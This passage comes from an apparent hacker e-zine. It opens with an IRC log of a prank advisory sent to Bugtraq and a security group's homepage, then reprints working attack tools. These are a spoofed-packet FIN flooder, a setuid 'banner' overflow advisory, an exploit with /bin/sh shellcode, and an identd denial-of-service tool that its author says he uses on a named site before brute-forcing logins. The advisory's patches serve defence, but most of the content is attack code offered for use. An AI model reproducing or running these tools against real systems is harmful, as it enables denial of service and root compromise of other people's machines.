  4460. <jZZzZZz> they attached the advisory as a separate tex tfile
  4461. <jZZzZZz> - :Leet Advisory % :Leet Advisory % :Leet Advisory % :Leet Advisory %
  4462. :Leet -
  4463. <jZZzZZz> |
  4464.       |
  4465. <jZZzZZz> | www.dqc.org/~chris
  4466.       |
  4467. <jZZzZZz> |
  4468.       |
  4469. <jZZzZZz> | Version   : Leet advisory #2666 of many
  4470.       |
  4471. <jZZzZZz> | Author    : LarFoxley[lamedork / condemned / ESP / AH / PPTP (soon)]      |
  4472. <obecian> HAHAHAH
  4473. <obecian> HAHAHAHHA
  4474. <jZZzZZz> | Contributed : All of Team Leet (thanks alot) & UVM
  4475.       |
  4476. <jZZzZZz> | Topic       : A non-priviledged user may gain physical access to the      |
  4477. <jZZzZZz> |               system, thus exploiting what is known in innner circles as  |
  4478. <jZZzZZz> |               "the five-finger discount"
  4479.       |
  4480. <jZZzZZz> | Effected    : All Operating Systems which use a computer
  4481.       |
  4482. <jZZzZZz> |               * OpenBSD, and possibly others
  4483.       |
  4484. <obecian> HAHAHA
  4485. <jZZzZZz> | Prvt Release : October 1, 1995
  4486. <obecian> hahaha i will laugh if aleph1 lets that through
  4487. <dxmd> AHHAHHAHAH
  4488. <dxmd> jZZzZZz: post it to pakcetstorm too since those dorks dont check anything at all
  4489. <dxmd> ok im off to bed
  4490. <dxmd> nite all
  4491. <SmooveB> not enough 0 and 3 and z in there.
  4492. <jZZzZZz> Shut up Dave, I'm trying to keep true to the original Skript
  4493. <jZZzZZz> g0tta Keep 1t R3al!#@())!@#(
  4494. <obecian> yeah noone will believe it's a real advisory with all that proper english
  4495. <obecian> where's that leetspeak lex filter
  4496. <dxmd> blame it on obecian
  4497. <jZZzZZz>         I would like to thank bass of BEER.  He started the whole OpenBSD
  4498. <jZZzZZz>         religion.  Keep up the good work.
  4499. <jZZzZZz>
  4500. <jZZzZZz>         Special thanks to obecian and his DoS 3.3 System.  It has made my
  4501. <jZZzZZz>         job so easy that I think I should not be paid anymore.
  4502. <jZZzZZz>         I would also like to thank: NSA, CIA, FBI, Jammu Siltavuori,
  4503. <jZZzZZz>         Kettutytt, Somali, Dorkex (h0rze :), ISS, Solar Designer, #blowjob,
  4504. <jZZzZZz>         #hotsex, #eatshit, #42, #conf, Al Hugher, Alpeh1, and Jello Biafra.
  4505. <obecian> AHHAHAHAHA
  4506. <dxmd> HAHAHHAHAHAHHAHAH
  4507. <dxmd> man
  4508. <jZZzZZz> how do you spell diahrheah
  4509. <jZZzZZz> how do you spell diahrheah
  4510. <obecian> diarea or diahrea  not sure
  4511. <jZZzZZz>         I would also like to thank: NSA, CIA, FBI, Jammu Siltavuori,
  4512. <jZZzZZz>         Kettutytt, Satan, Dorkex (h0rze :), ISS, Solar Designer, #blowjob,
  4513. <jZZzZZz>         #hotsex, #eatshit, #42, #conf, Al Hugher, Alpeh1, communism, the
  4514. <jZZzZZz>         US Air Force, OJ Simpson, Ralph Nader and Jello Biafra.
  4515. <jZZzZZz> shooop$ grep diah /usr/share/dict/words
  4516. <jZZzZZz> diaheliotropic
  4517. <jZZzZZz> diaheliotropically
  4518. <jZZzZZz> diaheliotropism
  4519. <jZZzZZz> Obadiah
  4520. <jZZzZZz> shooop$ grep diarh /usr/share/dict/words
  4521. <dxmd> this rocks
  4522. <jZZzZZz> diarhemia
  4523. <jZZzZZz> fuck
  4524. <jZZzZZz> @#$@$#
  4525. <obecian> HAHA
  4526. <obecian> hahahah
  4527. <dxmd> um what about chlamidia?
  4528. <jZZzZZz> whassat?
  4529. <jZZzZZz> What C code should I put into the new openbsd exploit ?
  4530. <jZZzZZz> #include <stdyo.h>
  4531. <jZZzZZz> #include <streengs.h>
  4532. <jZZzZZz> main()
  4533. <jZZzZZz> {
  4534. <jZZzZZz> prentf("hello, world!!!!!\n");
  4535. <jZZzZZz> }
  4536. <jZZzZZz> PS: The expoit is broke very slightly, so it takes some knowledge ;)
  4537. <jZZzZZz> PUBLIC RELEASE * DO NOT DISTRIBUTE
  4538. <Figz> Don't forget, private release date: Jan 23, 1979
  4539. <jZZzZZz> what's significant about Jan 23, 1979
  4540. <Figz> That it's 16 years before openbsd's inception, of course.
  4541. <jZZzZZz> You want to see what I got now ?
  4542. <Figz> Yea, "hello world" tekniq..
  4543. <jZZzZZz> want me to email you what i got?
  4544. <jZZzZZz> i ned comments
  4545. <jZZzZZz> about to go to sleep
  4546. <jZZzZZz> but i want to fire this off to bugtraq first
  4547. <jZZzZZz> THIS IS A SERIOUS EXPLOIT PEOPLE!!!
  4548. <jZZzZZz> BUGTRAQ READERS MUST KNOW ABOUT IT!!!!
  4549. <jZZzZZz> Fuck this, i'm sending it, gotta go to sleep
  4550. <jZZzZZz> night night
  4551. <sean-> wtf is this bullshit i'm reading on bugtraq
  4552. <mmap`> sean, whats bs?
  4553. <cripto> fake, obviously.
  4554. <sean-> the 'openbsd machine can be stolen' advisory
  4555. <mmap`> rofl
  4556. <cripto> both are fake.
  4557. <sean-> i know
  4558. <sean-> but who the hell would approve that?
  4559. <cripto> i'm dissapointed that elias approved them
  4560. <jeremie> aleph1
  4561. <jeremie> same guy who approves every other post
  4562. <cripto> but oh well, he's the moderator.
  4563. <jeremie> he'll refund your subscription cost if you're pissed
  4564. <jeremie> i bet
  4565. <cripto> hah ;)
  4566. <sean-> haha
  4567. <sean-> btw cripto sean called me ;)
  4568. \xf9\xed\xf9 SignOff highvolts: #OpenBSD (return 0;)
  4569. <mmap`> more like canceling
  4570. <mmap`> and cp'ing your subscript data to /dev/null
  4571. <mmap`> yo sean
  4572. <mmap`> wheres the article
  4573. <shure> Running make depende echo : is a directory *** Error[1] -- Come one..
  4574. <sean-> dunno, it just came through i believe..
  4575. <sean-> subject is 'Another OpenBSD vulnerability!!'
  4576. <dxmd> hahaha
  4577. <dxmd> hey
  4578. <dxmd> sean
  4579. <dxmd> can u do me a favor and give me the url
  4580. <mmap`>  idont see it
  4581. <dxmd> chris posted  that article to prove what a moron aleph1 is
  4582. <sean-> dxmd: it's in my mailbox, i don't have a url :)
  4583. <dxmd> people
  4584. <dxmd> give me the fucking url
  4585. <dxmd> ok then dcc me
  4586. <dxmd> ill put it on my site
  4587. <sean-> ok hang on
  4588. <Intrinsic> why don't you look at the BugTraq archives?
  4589. <jeremie> dxmd whats your email
  4590. <genecyst> dxmd: http://squeamish.org/leet.advisory
  4591. <dxmd> rat@interniq.org
  4592. <dxmd> chris rules
  4593. <zb^3> that advisory is leet
  4594. <zb^3> -- leet -- leet -- leet --
  4595. <zb^3> does Aleph1 even care anymore?
  4596. <mmap`> HAHAHAHAHA
  4597. <mmap`> #eatshit
  4598. <mmap`> dood this faq is the best, mad funny
  4599. <fx> *** Mode for channel #eatshit is "+tin"
  4600. <mmap`> Three years without a remote hoe? Strike that.
  4601. <toor> Subject: ANOTHER OpenBSD security vulnerability!!!!
  4602. <toor> - :Leet Advisory % :Leet Advisory % :Leet Advisory % :Leet Advisory % :Leet -
  4603. <sil> hope that wasnt for me toor
  4604. <sil> ahh yea i read that one but it wasnt me this time
  4605. <sil> i only write *snicker* real advisories
  4606. <no_pants> i've got an advisroy
  4607. <no_pants> i can crack any obsd box
  4608. <no_pants> all i have to do is sit on it
  4609. <no_pants> time to email bugtraq!
  4610. <genecyst> you must be very fat
  4611. <sil> i can hack openbsd with a jigsaw
  4612. <no_pants> my ass has no bounds checking
  4613. [END_CUT] irclogs
  4614.  
  4615. [CUT_HERE] www.subterrain.net
  4616.  
  4617.  
  4618.  
  4619.                                                            Subterrain.net
  4620.             ____________________________________________________
  4621.  
  4622.    CAPTION:
  4623.  
  4624.    About
  4625.    It is difficult to describe eloquently the driving forces behind and
  4626.    future goals of the hacker collective known as SSG. We are motivated
  4627.    by the lack of a complete set of solid, portable, and freely available
  4628.    open source tools for performing computer and network security related
  4629.    tasks. Further, we firmly believe that revolutionary R&D is and should
  4630.    increasingly be supported in open, peer-review type arrangements to
  4631.    facilitate unbiased and uncommercialized advancements in data
  4632.    security.
  4633.  
  4634.    CAPTION:
  4635.  
  4636.    News
  4637.    November 7: That "OpenBSD exploit" advisory on bugtraq was fake. We do
  4638.    not know the individual who posted the message. It saddens us to see
  4639.    childish attempts at defamation in public forums.
  4640.    October 15: cripto posts a collection of buffer overflow papers; as
  4641.    well as hardware architecture and assemby language manuals for several
  4642.    architectures (MIPS, PowerPC, PA-RISC, SPARC, and Alpha) - good
  4643.    reading.
  4644.    October 14: aempirei releases libsd, a configurable packet control
  4645.    library for high throughput networks.
  4646.    October 4: aempirei releases his paper "Remote Host-to-Host Path Cost
  4647.    Projection". It describes a method for projection and estimation of
  4648.    remote host-to-host metrics, or path costs in any network.
  4649.  
  4650.    CAPTION:
  4651.  
  4652.    Projects
  4653.  
  4654.      Sentinel - A reference implementation of all publicly known remote
  4655.    promiscuous detection techniques.
  4656.  
  4657.      Siphon - A tool that demonstrates stealth passive network mapping
  4658.    and intel gathering technology.
  4659.  
  4660.      Intravenous - A network packet injection study of expert systems and
  4661.    machine learning over TCP/IP.
  4662.  
  4663.      Architecture Spanning Shellcode - Shellcode that executes on
  4664.    multiple architectures: SPARC, MIPS, and Intel.
  4665.  
  4666.      libsd - A packet control library for BPF platforms. It is designed
  4667.    with high throughput and high-bandwidth networks in mind. Features
  4668.    include a user specified buffer size, a circular buffering method, and
  4669.    extremely low latency function returns.
  4670.  
  4671.    CAPTION:
  4672.  
  4673.    Papers
  4674.  
  4675.      Remote Host-to-Host Path Cost Projection. View.
  4676.  
  4677.      Self Replicating, Self Permutable Code and the Invisible Binary.
  4678.    View.
  4679.  
  4680.      Palante's DEFCON 8 CTF server.  View.
  4681.  
  4682.      802.14 and DOCSIS Standard Information. View.
  4683.  
  4684.      Dynamic Kernel Linker Facility Programming Tutorial by awr. View.
  4685.  
  4686.      Palante's Toorcon 2000 Lecture on Mandatory Access Controls. View.
  4687.  
  4688.      Obecian's Toorcon 2000 Lecture on Intravenous. View.
  4689.  
  4690.      Mike's Toorcon 2000 Lecture on Porting UNIX Network Applications to
  4691.    Win32. View.
  4692.  
  4693.      Bind, aempirei, prole and cripto's Toorcon 2000 Lecture on Passive
  4694.    Network Mapping. View.
  4695.  
  4696.      Awr's Toorcon 2000 Lecture on Dynamic Kernel Linker (KLD)
  4697.    Programming. View.
  4698.  
  4699.    CAPTION:
  4700.  
  4701.    Code
  4702.  
  4703.      spoon - (ab)use dig.cgi to proxy DNS dig requests.
  4704.  
  4705.      silk - simple evasive HTTP packet injection.
  4706.  
  4707.      urlsnuff - urlsnarf remote dos attack (<=dsniff 1.6).
  4708.  
  4709.      grout - A tool for performing geographical traceroutes.
  4710.  
  4711.      PPC shellcode - Palante's shellcode for the PPC.
  4712.  
  4713.    CAPTION:
  4714.  
  4715.    Users
  4716.  
  4717.        aempirei, awr, bind, cripto, dnm, eugene, jeremy, mike, mikep,
  4718.                      obecian, pandora, palante, prole.
  4719.             ____________________________________________________
  4720.  
  4721.     Copyright (c) 2000 Subterrain Security Group. Last updated Wed Sep 6
  4722.                             13:55:17 PDT 2000 .
  4723. [END_CUT] www.subterrain.net
  4724.  
  4725. [END_DIR] OpenBSD
  4726.  
  4727.  
  4728.        _______________________
  4729.     .-'                       `-.
  4730. [07]|           f1n.c           |[07]
  4731. [07]|            by:            |[07]
  4732. [07]|           lore            |[07]
  4733.     `-._______________________.-'
  4734.  
  4735.     This is private. But now I guess it is public. Also, I would
  4736.     like to give personal thanks to route for LibNET.
  4737.  
  4738. [BEGIN_DIR] lore
  4739. [CUT_HERE] f1n.c
  4740. /*
  4741.  *  - Program: fin.c
  4742.  *  - Purpose: FIN flooder
  4743.  *  - Author: lore <fiddler@antisocial.com>
  4744.  *  - Compile: cc -o fin fin.c `libnet-config --defines` -lnet
  4745.  *  - Usage: ./fin -h
  4746.  *
  4747.  */
  4748.  
  4749. #ifndef __BSD_SOURCE
  4750. #define __BSD_SOURCE
  4751. #endif
  4752.  
  4753. /* Header files */
  4754.  
  4755. #include <db.h>
  4756. #include <netinet/in_systm.h>
  4757. #include <errno.h>
  4758. #include <stdio.h>
  4759. #include <stdlib.h>
  4760. #include <libnet.h>
  4761. #include <arpa/inet.h>
  4762. #include <netdb.h>
  4763. #include <unistd.h>
  4764. #include <string.h>
  4765. #include <sys/signal.h>
  4766. #include <sys/types.h>
  4767. #include <sys/socket.h>
  4768.  
  4769. __BEGIN_DECLS
  4770.  
  4771. /* Definitions */
  4772.  
  4773. #define IP_SIZE        (sizeof(struct ip))
  4774. #define TCP_SIZE      (sizeof(struct tcphdr))
  4775. #define TOTAL_SIZE     (IP_SIZE + TCP_SIZE)
  4776.  
  4777. #define TRUE  (0x1)
  4778. #define FALSE (0x0)
  4779. #define ERR   (0xffffffff)
  4780.  
  4781. /* Data-types */
  4782.  
  4783. typedef int sock_t;
  4784.  
  4785. /* Global variables */
  4786.  
  4787. char * packet_buf;
  4788. FILE * stream;
  4789. sock_t raw_sock;
  4790. char * yes = "1";
  4791.  
  4792. /* Prototypes */
  4793.  
  4794. int     main              __P ((int, char * *));
  4795. void    ctrlc             __P ((int));
  4796. void    die               __P ((int));
  4797. void    usage             __P ((char *));
  4798. char *  strip             __P ((u_long));
  4799. u_long  res               __P ((char *));
  4800. size_t  send_fin_packet   __P ((u_long));
  4801.  
  4802. __END_DECLS
  4803.  
  4804. /* Functions */
  4805.  
  4806. int main (int argc, char * * argv)
  4807. {
  4808.   u_char * ptr = *argv;
  4809.   u_long victim = ERR;
  4810.  
  4811.   stream = stderr;
  4812.  
  4813.   ++argv; --argc;
  4814.  
  4815.   while (argv && *argv)
  4816.   {
  4817.     if (victim == ERR)
  4818.     {
  4819.       if ((victim = res(*(argv))) == ERR)
  4820.       {
  4821.         fprintf(stderr, "> Bad victim: %s\n", *argv);
  4822.         exit(EXIT_FAILURE);
  4823.       }
  4824.     }
  4825.     else usage(ptr);
  4826.     ++argv;
  4827.   }
  4828.  
  4829.   if (victim == ERR)
  4830.   {
  4831.     usage(ptr);
  4832.   }
  4833.  
  4834.   if (!(packet_buf = (char *)malloc(TOTAL_SIZE)))
  4835.   {
  4836.     fprintf(stream, "> Ran out of memory\n");
  4837.     exit(EXIT_FAILURE);
  4838.   }
  4839.  
  4840.   if ((raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ERR)
  4841.   {
  4842.     fprintf(stream, "> Raw socket could not be created: %s\n",
  4843.             strerror(errno));
  4844.     exit(EXIT_FAILURE);
  4845.   }
  4846.  
  4847.   else if ( (setsockopt(raw_sock, IPPROTO_IP, IP_HDRINCL, (char *)&yes,
  4848.              sizeof(yes)) == ERR) ||
  4849.             (setsockopt(raw_sock, SOL_SOCKET, SO_BROADCAST, (char *)&yes,
  4850.              sizeof(yes)) == ERR) )
  4851.   {
  4852.     fprintf(stream, "> Could not set socket opts: %s\n", strerror(errno));
  4853.     exit(EXIT_FAILURE);
  4854.   }
  4855.  
  4856.   fprintf(stream,
  4857.           "> fin.c FIN attack\n");
  4858.   fprintf(stream, "> author: lore\n");
  4859.   fprintf(stream, "> victim: %s\n", strip(victim));
  4860.  
  4861.   signal(SIGINT, ctrlc);
  4862.  
  4863.   fprintf(stream, "> Hit Ctrl-C to abort\n");
  4864.  
  4865.   while (TRUE)
  4866.   {
  4867.     if (send_fin_packet(victim) == ERR)
  4868.       die(EXIT_FAILURE);
  4869.   }
  4870.   die(EXIT_SUCCESS);
  4871. }
  4872.  
  4873. void ctrlc (int useless)
  4874. {
  4875.   die (EXIT_SUCCESS);
  4876. }
  4877.  
  4878. void die (int code)
  4879. {
  4880.   fprintf(stream, "> Flood ended\n");
  4881.   shutdown(raw_sock, 2);
  4882.   free(packet_buf);
  4883.   exit(code);
  4884. }
  4885.  
  4886. u_long res (char * host)
  4887. {
  4888.   u_long ipaddr;
  4889.   struct hostent * hp;
  4890.  
  4891.   if ((ipaddr = inet_addr(host)) == ERR)
  4892.   {
  4893.     if (!(hp = gethostbyname(host))) return (FALSE);
  4894.     memcpy(&ipaddr, hp->h_addr, hp->h_length);
  4895.   }
  4896.   return (ipaddr);
  4897. }
  4898.  
  4899. char * strip (u_long ipaddr)
  4900. {
  4901.   struct in_addr addr;
  4902.   addr.s_addr = ipaddr;
  4903.   return (inet_ntoa(addr));
  4904. }
  4905.  
  4906. void usage (char * pname)
  4907. {
  4908.   fprintf(stream,
  4909.     "Usage: %s <victim>\n", pname);
  4910.  
  4911.   exit(EXIT_SUCCESS);
  4912. }
  4913.  
  4914. size_t send_fin_packet (u_long to)
  4915. {
  4916.   libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 137, IPPROTO_TCP,
  4917.                   inet_addr("1.3.3.7"), to, NULL, 0, packet_buf);
  4918.   libnet_build_tcp(0x1337, 80, libnet_get_prand(PRu32), libnet_get_prand(PRu32),                   TH_ACK|TH_SYN, libnet_get_prand(PRu16), 0, NULL, 0,
  4919.                    packet_buf + TCP_H);
  4920.   libnet_do_checksum(packet_buf, IPPROTO_TCP, TCP_H);
  4921.   return libnet_write_ip(raw_sock, packet_buf, TCP_H + IP_H);
  4922. }
  4923. [END_CUT] f1n.c
  4924.  
  4925.  
  4926.        ____________________________________
  4927.     .-'                                    `-.
  4928. [08]|             banner advisory            |[08]
  4929. [08]|                   by:                  |[08]
  4930. [08]|                  lore                  |[08]
  4931.     `-.____________________________________.-'
  4932.  
  4933.     Here are some advisories + exploits for banner. Note: banner
  4934.     has to be setuid root for you to get a root shell. I've seen
  4935.     banner setuid root on various .jp systems. Regards -- lore
  4936.  
  4937. [CUT_HERE] banner.adv
  4938. -------------------------------------------------------------------------------
  4939. | www.insomnia.org/~lore                                                      |
  4940. |                                                                             |
  4941. | Topic         : A user may become that of another user via 'banner'         |
  4942. | Program       : /usr/bin/banner - banner                                    |
  4943. | Released      : 2000-05-21                                                  |
  4944. | Credits       : insomnia.org, r00tabega.com                                 |
  4945. | Corrected     : See below.                                                  |
  4946. | Vender status : Notified                                                    |
  4947. -------------------------------------------------------------------------------
  4948.  
  4949. Background information:
  4950. -----------------------
  4951.         Banner is a popular tool, used to create banners.
  4952.  
  4953. Problem description:
  4954. --------------------
  4955.         Banner takes a message, and enlarges it based on a width field.
  4956. Banner may take the message as an argument to main(), or as input() using
  4957. fgets(). Multiple messages may be included in the banner. Using multiple
  4958. arguments when executing the program, one can concatenate multiple messages
  4959. to the banner. When no banner message argument is given, this does not include
  4960. flags such as the width flag, banner uses standard input. In these two phases,
  4961. one can exploit banner. The banner 'char message[]' is of a constant MAXMSG.
  4962. Banner does not take into account bounds checking. By supplying a message,
  4963. greater than MAXMSG, one can exploit banner.
  4964.  
  4965. (lore@insomnia~#) banner 10000 A's
  4966. Segmentation fault
  4967.  
  4968. Now let's peek at the code.
  4969.  
  4970.     /* Have now read in the data. Next get the message to be printed. */
  4971.     if (*argv) {
  4972.        strcpy(message, *argv);
  4973.            while (*++argv) {
  4974.            strcat(message, " ");
  4975.            strcat(message, *argv);
  4976.        }
  4977.       nchars = strlen(message);
  4978.     } else {
  4979.       fprintf(stderr,_("Message: "));
  4980.         (void)fgets(message, sizeof(message), stdin);
  4981.         nchars = strlen(message);
  4982.         message[nchars--] = '\0';       /* get rid of newline */
  4983.       }
  4984.  
  4985.         Notice the terrible unsafe use of strcpy() and fgets(). One who is
  4986. aspiring to write secure code, may wish to use the 'n' set of functions.
  4987. Easily changing strcpy() to strncpy(), with correct use of strncpy(), will
  4988. fix phase 1. Easily changing fgets() syntax to fgets(message,sizeof(message)-1,
  4989. ...); will fix phase 2.
  4990.  
  4991. IMPACT:
  4992. -------
  4993.         A malicious user maybe root if banner is setuid root. One may say,
  4994. banner is undoubtably never setuid root, au contraire it is. Let's take a look
  4995. at boxes i found with default installment of banner.
  4996.  
  4997. Slackware 7.0 Linux Operating System
  4998. # ls -al /usr/bin/banner
  4999. -rwsr-xr-x   1 root     bin         17492 Aug  1  1999 /usr/bin/banner*
  5000.  
  5001. Solaris 7 Operating System
  5002. # ls -al /bin/banner
  5003. -r-sr-xr-x   1 bin      bin          6456 Sep  1  1998 /bin/banner
  5004.  
  5005. FreeBSD 4.0 Operating System,
  5006. -r-sr-xr-x  1 root   wheel  15664 Mar 20 21:31 /usr/bin/banner
  5007.  
  5008.         From the above we conclude that on a Slackware 7.0 Linux Operating
  5009. System, we may ascertain root privledges. On a Solaris 7 Operating System, we
  5010. may ascertain bin privledges. On a FreeBSD 4.0 Operating System, we may
  5011. ascertain root privledges. This vulnerability, in effect, is actually very
  5012. serious.
  5013.  
  5014. WORKAROUND:
  5015. -----------
  5016.         Install the patches below.
  5017.  
  5018.         Please note that, a patch for strcat() in phase 1 has not been
  5019. included.
  5020.  
  5021. patch1_phase1.diff:
  5022. 1061c1061
  5023. <               strcpy(message, *argv);
  5024. ---
  5025. >               strncpy(message, *argv, sizeof(message)-1);
  5026.  
  5027.  
  5028. patch2_phase2.diff:
  5029. 1069c1069
  5030. <               (void)fgets(message, sizeof(message), stdin);
  5031. ---
  5032. >               (void)fgets(message, sizeof(message)-1, stdin);
  5033. 1070a1071,1072
  5034. >               if(nchars > MAXMSG)
  5035. >                       nchars = MAXMSG;
  5036.  
  5037. GREETS:
  5038. -------
  5039.         r00tabega, insomnia, w00w00, ADM, USSR Labs, and TREATY
  5040. [END_CUT] banner.adv
  5041.  
  5042. [CUT_HERE] bexp.c
  5043. /*
  5044.  *  banner.c exploit
  5045.  *  lore
  5046.  *
  5047.  *  banner exploit which works with all versions of slackware
  5048.  *
  5049.  *  Note: banner has to be setuid root (30% of systems i ran accross had
  5050.  *  banner installed suid root)
  5051.  */
  5052.  
  5053. #include <stdio.h>
  5054. #include <stdlib.h>
  5055. #include <string.h>
  5056.  
  5057. char            hellcode[] =
  5058.     "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
  5059.     "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
  5060.     "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
  5061.     "\xff\xff/bin/sh.........";
  5062.  
  5063. /*
  5064.  * From banner.c
  5065.  */
  5066. #define MAXSEG (1024)
  5067.  
  5068. #define BSIZE  (MAXSEG)
  5069. #define ESIZE  ((BSIZE+8))
  5070. #define PATH   ("/usr/bin/banner")
  5071. #define OFFSET (400)
  5072. #define NOP    (0x90)
  5073.  
  5074. int main        __P((int, char **));
  5075. long get_esp    __P((void));
  5076.  
  5077. long
  5078. get_esp(void)
  5079. {
  5080.     __asm__("movl %esp, %eax");
  5081. }
  5082.  
  5083. int
  5084. main(int argc, char **argv)
  5085. {
  5086.     int             offset,
  5087.                     i,
  5088.                     j;
  5089.     long            addr;
  5090.     char           *evilbanner;
  5091.  
  5092.     evilbanner = (char *) malloc(ESIZE);
  5093.     offset = OFFSET;
  5094.  
  5095.     for (i = 0; i < (ESIZE - strlen(hellcode) - 4); ++i)
  5096.         evilbanner[i] = NOP;
  5097.  
  5098.     for (j = 0; i < (ESIZE - 4); ++j, ++i)
  5099.         evilbanner[i] = hellcode[j];
  5100.  
  5101.     if (argc > 1)
  5102.         offset = atoi(argv[1]);
  5103.  
  5104.     addr = (get_esp() - offset);
  5105.  
  5106.     *(long *) (evilbanner + i) = addr;
  5107.  
  5108.  
  5109.     fprintf(stderr, "banner exploit, lore\n");
  5110.     fprintf(stderr, "\nUsing address 0x%x, offset %d\n", addr, offset);
  5111.  
  5112.     execl(PATH, "banner", evilbanner, NULL);
  5113. }
  5114. [END_CUT] bexp.c
  5115.  
  5116.  
  5117.        ____________________________________
  5118.     .-'                                    `-.
  5119. [09]|              identd killer             |[09]
  5120. [09]|                   by:                  |[09]
  5121. [09]|                  lore                  |[09]
  5122.     `-.____________________________________.-'
  5123.  
  5124.     I use this on boxes like hackphreak.org. The trick is to
  5125.     kill identd, then they will irc with their real login ID
  5126.     as the userid. Now we can brute force the box with a
  5127.     telnet brute forcer. Regards -- lore
  5128.  
  5129. [CUT_HERE] identd_kill.c
  5130. #include <errno.h>
  5131. #include <stdio.h>
  5132. #include <string.h>
  5133. #include <stdlib.h>
  5134. #include <signal.h>
  5135. #include <sys/types.h>
  5136. #include <sys/socket.h>
  5137. #include <netinet/in.h>
  5138. #include <netdb.h>
  5139. #include <pthread.h>
  5140. #include <unistd.h>
  5141. #include <fcntl.h>
  5142.  
  5143. #define TIMEOUT 4
  5144.  
  5145. void * TREATY_kill(struct sockaddr_in *sin)
  5146. {
  5147. int sfd, flags;
  5148. void on_alrm(int s) {
  5149.         close(s);
  5150.         pthread_exit(NULL);
  5151. }
  5152. pthread_detach(pthread_self());
  5153.  
  5154. //signal(SIGALRM,on_alrm);
  5155. sfd = socket(AF_INET, SOCK_STREAM, 0);
  5156.  
  5157. if(sfd < 0)
  5158. {
  5159. perror("socket");
  5160. pthread_exit(NULL);
  5161. }
  5162. //alarm(TIMEOUT);
  5163.  
  5164. flags = fcntl(sfd, F_GETFL);
  5165. flags |= O_NONBLOCK;
  5166. fcntl(sfd, F_SETFL, flags);
  5167.  
  5168. if(connect(sfd, (struct sockaddr *)sin, sizeof(struct sockaddr_in))<0 && errno != EINPROGRESS)
  5169. {
  5170. perror("connect");
  5171. pthread_exit(NULL);
  5172. }
  5173.  
  5174. pthread_exit(NULL);
  5175. }
  5176.  
  5177. int main(int argc, char *argv[])
  5178. {
  5179. struct sockaddr_in sin;
  5180. pthread_t p;
  5181. int n,x;
  5182.  
  5183. bzero(&sin, sizeof(sin));
  5184. sin.sin_family = AF_INET;
  5185. sin.sin_addr.s_addr = inet_addr(argv[1]);
  5186. sin.sin_port = htons(113);
  5187. (argc>2)?x=atoi(argv[2]):20;
  5188.  
  5189. for(;x--;)
  5190. {
  5191. n = pthread_create(&p, NULL, (void *)&TREATY_kill, &sin);
  5192. if(n)
  5193. {
  5194. printf("pthread_create erroed or somehting\n");
  5195. exit(-1);
  5196. }
  5197. pthread_join(p, NULL);
  5198. }
  5199.  
  5200. return 1;
  5201. }
  5202. [END_CUT] identd_kill.c
  5203.  
  5204. [END_DIR] lore
  5205.  
  5206.  
  5207.        ____________________________________
  5208.     .-'                                    `-.
  5209. [10]|               testsyscall              |[10]
  5210. [10]|                   by:                  |[10]
  5211. [10]|             Team Hackphreak            |[10]
  5212.     `-.____________________________________.-'
  5213.  
  5214.     Exploit for every BSD (local). That includes *YOU* OpenBSD.
  5215.  
  5216. [BEGIN_DIR] testsyscall
  5217.  
  5218. [CUT_HERE] testsyscall.adv
  5219. - HP1 advisory % HP1 advisory % HP1 advisory % HP1 advisory % HP1 advisory %  -
  5220. | www.hackphreak.org                                                          |
  5221. |                                                                             |
  5222. | Version       : Hackphreak advisory #1 of many                              |
  5223. | Author        : RLoxley                                                     |
  5224. | Contributed   : shinex@suburbs.net                                          |
  5225. | Topic         : A user may become that of another user via "testsyscall"    |
  5226. |                 Or gain remote access via "testsyscall"                     |
  5227. | Program       : /usr/share/lkm/test/testsyscall.c - testsyscall             |
  5228. | Released      : June the 9th, 2000                                          |
  5229. | Credits       : www.hackphreak.org, www.condemned.org, EHAP, PARSE,         |
  5230. |                 our friends at packetstorm :)                               |
  5231. | Corrected     : See below.                                                  |
  5232. | Vender status : Notified                                                    |
  5233. - HP1 advisory % HP1 advisory % HP1 advisory % HP1 advisory % HP1 advisory %  -
  5234.  
  5235. Preface:
  5236. --------
  5237.         I, RLoxley, am writing this advisory. It was not my intention
  5238. to release an actual working exploit with this advisory. Although, my
  5239. friend shinex (currently working his way up team hackphreak ;) hey xf0rce!)
  5240. insisted on including one. I, do not endorse script kiddism, please read
  5241. some of my ethics articles at hackphreak.org (hackphreak.org/newbie).
  5242. "Ethics can take you a long long way" -- RLoxley
  5243.  
  5244. Background information:
  5245. -----------------------
  5246.         "testsyscall" was written to test out a special syscall LKM -
  5247. (LOADABLE KERNEL MODULE). It can be piped via the "inetd" daemon, or run
  5248. as regular.
  5249.  
  5250. Problem description:
  5251. --------------------
  5252.         testsyscall uses standard input, it parses a system call number,
  5253. and executes that syscall with the syscall() function. The syscall number,
  5254. in the test, is that of the loaded module's syscall entry. When reading
  5255. standard input from the user, testsyscall DOES NOT CHECK bounds. The
  5256. internal buffer that data is copied to, is only 80 bytes. gets() returns
  5257. when a newline is encountered. A malicious use can write a trivial exploit
  5258. within a matter of a few minutes. By typing input longer than 80 bytes, one
  5259. can overflow the internal buffer. By supplying specially crafted shellcode,
  5260. one can exploit testsyscall.
  5261.  
  5262. # ./testsyscall
  5263. Table offset as reported by modstat: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  5264. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  5265. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  5266. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  5267. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  5268. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  5269. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
